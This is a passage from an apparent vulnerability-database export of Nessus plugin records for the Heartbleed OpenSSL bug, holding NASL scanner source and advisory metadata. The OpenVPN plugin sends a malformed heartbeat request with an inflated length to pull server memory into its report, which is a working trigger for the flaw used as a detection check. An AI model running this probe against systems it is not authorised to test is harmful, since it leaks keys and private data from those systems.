(OpenSSL name)\n0x00,0x8c, # TLS_PSK_WITH_AES_128_CBC_SHA\n0x00,0x21, # TLS_KRB5_WITH_IDEA_CBC_SHA, KRB5-IDEA-CBC-SHA (OpenSSL name)\n0x00,0x25, # TLS_KRB5_WITH_IDEA_CBC_MD5, KRB5-IDEA-CBC-MD5 (OpenSSL name)\n0xc0,0x11, # TLS_ECDHE_RSA_WITH_RC4_128_SHA\n0xc0,0x07, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA\n0xc0,0x0c, # TLS_ECDH_RSA_WITH_RC4_128_SHA\n0xc0,0x02, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA\n0x00,0x05, # TLS_RSA_WITH_RC4_128_SHA\n0x00,0x04, # TLS_RSA_WITH_RC4_128_MD5\n0x00,0x8a, # TLS_PSK_WITH_RC4_128_SHA\n0x00,0x20, # TLS_KRB5_WITH_RC4_128_SHA, KRB5-RC4-SHA (OpenSSL name)\n0x00,0x24, # TLS_KRB5_WITH_RC4_128_MD5, KRB5-RC4-MD5 (OpenSSL name)\n0x00,0x15, # TLS_DHE_RSA_WITH_DES_CBC_SHA\n0x00,0x12, # TLS_DHE_DSS_WITH_DES_CBC_SHA\n0x00,0x09, # TLS_RSA_WITH_DES_CBC_SHA\n0x00,0x1e, # TLS_KRB5_WITH_DES_CBC_SHA, KRB5-DES-CBC-SHA (OpenSSL name)\n0x00,0x22, # TLS_KRB5_WITH_DES_CBC_MD5, KRB5-DES-CBC-MD5 (OpenSSL name)\n0x00,0x0e, # TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA\n0x00,0x0b, # TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA\n0x00,0x08, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA\n0x00,0x06, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5\n0x00,0x27, # TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA, EXP-KRB5-RC2-CBC-SHA (OpenSSL name)\n0x00,0x26, # TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA, EXP-KRB5-DES-CBC-SHA (OpenSSL name)\n0x00,0x2a, # TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5, EXP-KRB5-RC2-CBC-MD5 (OpenSSL name)\n0x00,0x29, # TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5, EXP-KRB5-DES-CBC-MD5 (OpenSSL name)\n0x00,0x03, # TLS_RSA_EXPORT_WITH_RC4_40_MD5\n0x00,0x28, # TLS_KRB5_EXPORT_WITH_RC4_40_SHA, EXP-KRB5-RC4-SHA (OpenSSL name)\n0x00,0x2b  # TLS_KRB5_EXPORT_WITH_RC4_40_MD5, EXP-KRB5-RC4-MD5 (OpenSSL name)\n);\n\n# Make our ClientHello, offering support for heartbeat.\n# Also send EC extensions because we offer EC based ciphers.\nver  = mkword(version);\nexts = heartbeat_ext() + tls_ext_ec() + tls_ext_ec_pt_fmt();\nexts_len = mkword(strlen(exts));\nchello = client_hello(v2hello:FALSE, version:ver,\n                      cipherspec : cipherspec,\n                      extensions:exts,extensionslen:exts_len);\n\n# Wrap it up into an OpenVPN packet\nchello = ovpn_mk_pkt(opcode:P_CONTROL_V1, data:chello);\novpn_write(data:chello);\n\n# Receive up to 1MB from the server - should contain ServerHello, key exchange, and ServerHelloDone\ndata = ovpn_rel_read(len:1024 * 1024);\n\nhello_done = FALSE;\nwhile (!hello_done)\n{\n  if (isnull(data)) audit(AUDIT_RESP_NOT, port, 'a TLS ClientHello message', proto);\n\n  # ServerHello: Extract the random data for computation of keys.\n  rec = ssl_find(\n    blob:data,\n    'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,\n    'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO\n  );\n\n  if (!isnull(rec))\n  {\n    # Look for heartbeat mode in ServerHello\n    heartbeat_mode = rec['extension_heartbeat_mode'];\n\n    # Make sure we use an SSL version supported by the server\n    if(rec['version'] != version && rec['version'] >= 0x0301 && rec['version'] <= 0x0303)\n      version = rec['version'];\n  }\n\n  # Server Hello Done.\n  rec = ssl_find(\n    blob:data,\n    'content_type', SSL3_CONTENT_TYPE_HANDSHAKE,\n    'handshake_type', SSL3_HANDSHAKE_TYPE_SERVER_HELLO_DONE\n  );\n\n  if (!isnull(rec))\n  {\n    hello_done = TRUE;\n    break;\n  }\n}\nif (! hello_done)\n  exit(1, 'ServerHelloDone not received from OpenVPN server listening on ' + proto_port +'.');\n\n# Check if TLS server supports heartbeat extension\nif (isnull(heartbeat_mode))\n  exit(0, 'The OpenVPN service listening on ' + proto_port + ' does not appear to support heartbeat extension.');\n\n# Check if TLS server willing to accept heartbeat requests\nif (heartbeat_mode != 1)\n  exit(0, 'The OpenVPN service listening on ' + proto_port + ' does not appear to accept heartbeat requests.');\n\n\n# Send a malformed heartbeat request\npayload = crap(data:'A', length:16);\npad = crap(data:'P',length:16);\nhb_req = heartbeat_req(payload:payload, plen:strlen(payload)+ strlen(pad)+4096, pad:pad);\nrec = tls_mk_record(type:24, data:hb_req, version:version);\npkt = ovpn_mk_pkt(opcode:P_CONTROL_V1, data:rec);\novpn_write(data:pkt);\n\n# Receive up to 1MB from the server\nres = ovpn_rel_read(len:1024 * 1024);\n\n# Close the socket\novpn_close();\n\n# Patched TLS server does not respond\nif (isnull(res))\n  exit(0, 'The OpenVPN install listening on ' + proto_port + ' is not affected.');\n\n# Got a response\n# Look for hearbeat response\ndata = ord(res[5]);\nif (data != 2)\n  exit(1, 'The service listening on ' + proto_port + ' did not return a heartbeat response.');\n\nif (ord(res[0]) == 0x15)\n  exit(0, 'The service listening on ' + proto_port + ' returned an alert, which suggests the remote OpenVPN service is not affected.');\n\n# TLS server overread past payload into the padding field\nif ((payload + pad) >!< res)\n  audit(AUDIT_RESP_BAD, port, \"invalid TLS heartbeat\", toupper(proto));\n\nreport = NULL;\nif (report_verbosity > 0)\n{\n  hb_res = substr(res, 8);\n  hb_res -= (payload + pad);\n  report = 'Nessus was able to read the following memory from the remote OpenVPN service :\\n\\n' + data_protection::sanitize_user_full_redaction(output:hexdump(ddata:hb_res));\n}\nsecurity_warning(port:port, extra:report, proto:proto);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/OPENVPN_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T02:47:18",
        "bulletinFamily": "scanner",
        "description": "The firmware of the remote Fortinet host is running a version of\nOpenSSL that is affected by a remote information disclosure,\ncommonly known as the 'Heartbleed' bug. A remote, unauthenticated,\nattacker could potentially exploit this vulnerability to extract up to\n64 kilobytes of memory per request from the device.",
        "modified": "2021-04-02T00:00:00",
        "id": "FORTINET_FG-IR-14-011.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73669",
        "published": "2014-04-11T00:00:00",
        "title": "Fortinet OpenSSL Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73669);\n  script_version(\"1.12\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Fortinet OpenSSL Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks version of Fortinet device.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is affected by an information disclosure\nvulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The firmware of the remote Fortinet host is running a version of\nOpenSSL that is affected by a remote information disclosure,\ncommonly known as the 'Heartbleed' bug. A remote, unauthenticated,\nattacker could potentially exploit this vulnerability to extract up to\n64 kilobytes of memory per request from the device.\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://fortiguard.com/psirt/FG-IR-14-011\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to a firmware version containing a fix for this\nvulnerability as referenced in the vendor advisory.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/04/08\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/09\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/11\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fortinet:fortios\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Misc.\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"fortinet_version.nbin\");\n  script_require_keys(\"Host/Fortigate/model\", \"Host/Fortigate/version\", \"Host/Fortigate/build\");\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nmodel = get_kb_item_or_exit(\"Host/Fortigate/model\");\nversion = get_kb_item_or_exit(\"Host/Fortigate/version\");\nbuild = get_kb_item_or_exit(\"Host/Fortigate/build\");\n\n# FortiOS check.\nif (preg(string:model, pattern:\"forti(gate|wifi)\", icase:TRUE))\n{\n  # Only 5.x is affected.\n  if (version =~ \"^5\\.\") fix = \"5.0.7\";\n}\n# FortiMail Check\nelse if (preg(string:model, pattern:\"fortimail\", icase:TRUE))\n{\n  # Only 4.3.x and 5.x are affected.\n  if (version =~ \"^4\\.3\\.\") fix = \"4.3.7\";\n  else if (version =~ \"^5\\.0\\.\") fix = \"5.0.5\";\n  else if (version =~ \"^5\\.1\\.\") fix = \"5.1.2\";\n}\n# FortiRecorder Check, all affected.\nelse if (preg(string:model, pattern:\"fortirecorder\", icase:TRUE))\n{\n  fix = \"1.4.1\";\n}\n# FortiVoice check, specific models affected.\nelse if (preg(string:model, pattern:\"fortivoice-(200d|vm)\", icase:TRUE))\n{\n  fix = \"3.0.1\";\n}\n# FortiADC, specific models and versions affected.\nelse if (preg(string:model, pattern:\"fortiadc\", icase:TRUE))\n{\n  if (model =~ \"E$\" && version =~ \"^3\\.\") fix = \"3.2.3\";\n  else if (model =~ \"-(15|20|40)00D$\") fix = \"3.2.2\";\n}\n# FortiDDOS B-Series affected.\nelse if (preg(string:model, pattern:\"fortiddos-\\d+B\", icase:TRUE))\n{\n  fix = \"4.0.1\";\n}\n\nif (fix && ver_compare(ver:version, fix:fix, strict:FALSE) == -1)\n{\n  port = 0;\n  if (report_verbosity > 0)\n  {\n    report =\n      '\\n  Model        : ' + model +\n      '\\n  Version      : ' + version +\n      '\\n  Fixed Version: ' + fix +\n      '\\n';\n\n    security_warning(extra:report, port:port);\n  }\n  else security_warning(port:port);\n  exit(0);\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, model, version);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/FORTINET_FG-IR-14-011.NASL"
    },
    {
        "lastseen": "2021-04-01T01:26:38",
        "bulletinFamily": "scanner",
        "description": "The Attachmate Reflection install on the remote host is affected by an\nout-of-bounds read error known as the 'Heartbleed Bug' in the included\nOpenSSL version.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content.",
        "modified": "2021-04-02T00:00:00",
        "id": "ATTACHMATE_REFLECTION_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/76309",
        "published": "2014-06-30T00:00:00",
        "title": "Attachmate Reflection Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(76309);\n  script_version(\"1.8\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Attachmate Reflection Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks openssl.dll version.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"An application on the remote host is affected by an information\ndisclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The Attachmate Reflection install on the remote host is affected by an\nout-of-bounds read error known as the 'Heartbleed Bug' in the included\nOpenSSL version.\n\nThis error is related to handling TLS heartbeat extensions that could\nallow an attacker to obtain sensitive information such as primary key\nmaterial, secondary key material, and other protected content.\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://support.attachmate.com/techdocs/1708.html\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://support.attachmate.com/techdocs/2502.html\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Reflection 14.1 SP3 Update 1 (14.1.3.247) or 2014 R1 Hotfix\n4 (15.6.0.660) or greater.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/18\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/30\");\n\n  script_set_attribute(attribute:\"potential_vulnerability\", value:\"true\");\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:attachmate:reflection\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"smb_hotfixes.nasl\");\n  script_require_keys(\"SMB/Registry/Enumerated\", \"Settings/ParanoidReport\");\n  script_require_ports(139, 445);\n\n  exit(0);\n}\n\ninclude(\"global_settings.inc\");\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_reg_query.inc\");\ninclude(\"misc_func.inc\");\n\nif (report_paranoia < 2) audit(AUDIT_PARANOID);\n\nport = kb_smb_transport();\nappname = 'Attachmate Reflection';\n\ndisplay_names = get_kb_list('SMB/Registry/HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/*/DisplayName');\n\nin_registry = FALSE;\n# Ignore Attachmate Reflection X in this plugin\nforeach key (display_names)\n  if (\n    \"Attachmate Reflection \" >< key\n    &&\n    \"Attachmate Reflection X \" >!< key\n  ) in_registry = TRUE;\n\nif (!in_registry) audit(AUDIT_NOT_INST, appname);\n\nregistry_init();\nhklm = registry_hive_connect(hive:HKEY_LOCAL_MACHINE, exit_on_fail:TRUE);\n\npath = NULL;\n\nforeach key (keys(display_names))\n{\n  display_name = display_names[key];\n\n  if (\n    \"Attachmate Reflection \" >!< display_name\n    ||\n    \"Attachmate Reflection X \" >< display_name\n  )\n    continue;\n  key -= '/DisplayName';\n\n  key -= 'SMB/Registry/HKLM/';\n  key = str_replace(string:key, find:\"/\", replace:'\\\\');\n  break;\n}\n\n# Very rough check on ver in registry\ndisplay_version_key = key + \"\\DisplayVersion\";\ndisplay_version = get_registry_value(handle:hklm, item:display_version_key);\nif (\n  isnull(display_version) ||\n  display_version !~ \"^(14\\.1\\.3|15\\.6)($|[^0-9])\"\n)\n{\n  RegCloseKey(handle:hklm);\n  close_registry();\n  if (isnull(display_version))\n    audit(AUDIT_UNKNOWN_APP_VER, appname);\n  else\n    audit(AUDIT_NOT_INST, appname + \"14.1.3.x / 2014 R1\");\n}\n\n# Get install dir\ninstall_location_key = key + \"\\InstallLocation\";\ninstall_location = get_registry_value(handle:hklm, item:install_location_key);\nif (isnull(install_location))\n{\n  RegCloseKey(handle:hklm);\n  close_registry();\n  audit(AUDIT_PATH_NOT_DETERMINED, appname);\n}\nRegCloseKey(handle:hklm);\n\nitem = eregmatch(pattern:\"^(.+\\\\)[^\\\\]*$\", string:install_location);\nif (isnull(item))\n{\n  close_registry();\n  audit(AUDIT_PATH_NOT_DETERMINED, appname);\n}\nclose_registry(close:FALSE);\n\npath = item[1];\n\n# At the least, make sure a file exists\n# to verify the registry info a bit\nexe = path + \"openssl.dll\";\nexe_exists = hotfix_file_exists(path:exe);\nhotfix_check_fversion_end();\nif (!exe_exists) audit(AUDIT_FN_FAIL, \"hotfix_file_exists\", \"data that indicates the file '\"+exe+\"' is no longer present.\");\n\n# Parse out numeric version from registry entry version\n# Registry version is formatted like :\n# major.minor.{sp}{build}\n# where {sp} is one digit (for now) and {build} is three\nmatches = eregmatch(string:display_version, pattern:\"^(\\d+)\\.(\\d+)\\.(\\d+)(\\d{3})\");\nif (matches)\n{\n  major = matches[1];\n  minor = matches[2];\n  sp    = matches[3];\n  build = matches[4];\n  version = major + \".\" + minor + \".\" + sp + \".\" + build;\n}\nelse\n  audit(AUDIT_UNKNOWN_APP_VER, appname);\n\n# 14.1.3.000 is 14 SP3 (earliest vuln)\n# 15.6.0.000 is 2014 R1 (earliest vuln)\n# Vendor states 14.1.3.247 / 15.6.0.660 is main app fix ver\nif (\n  version =~ \"^14\\.\" && ver_compare(ver:version, fix:\"14.1.3.247\", strict:FALSE) < 0\n  ||\n  version =~ \"^15\\.\" && ver_compare(ver:version, fix:\"15.6.0.660\", strict:FALSE) < 0\n)\n{\n  if (report_verbosity > 0)\n  {\n    report =\n      '\\n  Product           : ' + appname +\n      '\\n  Installed version : ' + version +\n      '\\n  Fixed version     : Reflection 14.1 SP3 Update 1 (14.1.3.247) / 2014 R1 Hotfix 4 (15.6.0.660)' +\n      '\\n';\n    security_warning(port:port, extra:report);\n  }\n  else security_warning(port);\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, appname, display_version);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/ATTACHMATE_REFLECTION_HEARTBLEED.NASL"
    },
    {
        "lastseen": "2021-04-01T04:55:10",
        "bulletinFamily": "scanner",
        "description": "According to its banner, the remote web server uses a version of\nOpenSSL 1.0.1 prior to 1.0.1g. The OpenSSL library is, therefore,\nreportedly affected by the following vulnerabilities :\n\n  - An error exists related to the implementation of the\n    Elliptic Curve Digital Signature Algorithm (ECDSA) that\n    could allow nonce disclosure via the 'FLUSH+RELOAD'\n    cache side-channel attack. (CVE-2014-0076)\n\n  - An out-of-bounds read error, known as the 'Heartbleed\n    Bug', exists related to handling TLS heartbeat\n    extensions that could allow an attacker to obtain\n    sensitive information such as primary key material,\n    secondary key material and other protected content.\n    (CVE-2014-0160)",
        "modified": "2021-04-02T00:00:00",
        "id": "OPENSSL_1_0_1G.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73404",
        "published": "2014-04-08T00:00:00",
        "title": "OpenSSL 1.0.1 < 1.0.1g Multiple Vulnerabilities (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73404);\n  script_version(\"1.18\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0076\", \"CVE-2014-0160\");\n  script_bugtraq_id(66363, 66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"OpenSSL 1.0.1 < 1.0.1g Multiple Vulnerabilities (Heartbleed)\");\n  script_summary(english:\"Does a banner check\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote service may be affected by multiple vulnerabilities.\");\n  script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the remote web server uses a version of\nOpenSSL 1.0.1 prior to 1.0.1g. The OpenSSL library is, therefore,\nreportedly affected by the following vulnerabilities :\n\n  - An error exists related to the implementation of the\n    Elliptic Curve Digital Signature Algorithm (ECDSA) that\n    could allow nonce disclosure via the 'FLUSH+RELOAD'\n    cache side-channel attack. (CVE-2014-0076)\n\n  - An out-of-bounds read error, known as the 'Heartbleed\n    Bug', exists related to handling TLS heartbeat\n    extensions that could allow an attacker to obtain\n    sensitive information such as primary key material,\n    secondary key material and other protected content.\n    (CVE-2014-0160)\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://heartbleed.com/\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0076\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.mail-archive.com/openssl-announce@openssl.org/msg00131.html\");\n  # https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=96db902\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?0f749f1b\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to OpenSSL 1.0.1g or later.\n\nAlternatively, recompile OpenSSL with the '-DOPENSSL_NO_HEARTBEATS'\nflag to disable the vulnerable functionality.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/07\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/08\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:openssl:openssl\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Web Servers\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"openssl_version.nasl\");\n  script_require_keys(\"openssl/port\");\n\n  exit(0);\n}\n\ninclude(\"openssl_version.inc\");\n\nopenssl_check_version(fixed:'1.0.1g', min:\"1.0.1\", severity:SECURITY_WARNING);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/OPENSSL_1_0_1G.NASL"
    },
    {
        "lastseen": "2021-04-01T03:34:57",
        "bulletinFamily": "scanner",
        "description": "The remote host has a version of Kaspersky Internet Security (KIS)\ninstalled that is missing a vendor patch. It is, therefore, affected\nby an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.",
        "modified": "2021-04-02T00:00:00",
        "id": "KASPERSKY_INTERNET_SECURITY_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/77437",
        "published": "2014-08-29T00:00:00",
        "title": "Kaspersky Internet Security Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(77437);\n  script_version(\"1.9\");\n  script_cvs_date(\"Date: 2019/11/25\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"Kaspersky Internet Security Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks the version of ssleay32.dll.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host has software installed that is affected by an\ninformation disclosure vulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The remote host has a version of Kaspersky Internet Security (KIS)\ninstalled that is missing a vendor patch. It is, therefore, affected\nby an information disclosure vulnerability.\n\nAn out-of-bounds read error, known as the 'Heartbleed Bug', exists\nrelated to handling TLS heartbeat extensions that could allow an\nattacker to obtain sensitive information such as primary key material,\nsecondary key material, and other protected content.\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://support.kaspersky.com/10235#block1\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://support.kaspersky.com/us/8049#patches\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.heartbleed.com\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Kaspersky Internet Security 13.0.1.4190 Patch K /\n14.0.0.4651 Patch G or later.\n\nIn the case of other versions, please contact the vendor for guidance.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/24\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/08/29\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:kaspersky:kaspersky_internet_security\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"kaspersky_installed.nasl\");\n  script_require_keys(\"installed_sw/Kaspersky Internet Security\");\n  script_require_ports(139, 445);\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"install_func.inc\");\n\napp_name = \"Kaspersky Internet Security\";\nget_install_count(app_name:app_name, exit_if_zero:TRUE);\nfix = NULL;\n\n# Only 1 install of the server is 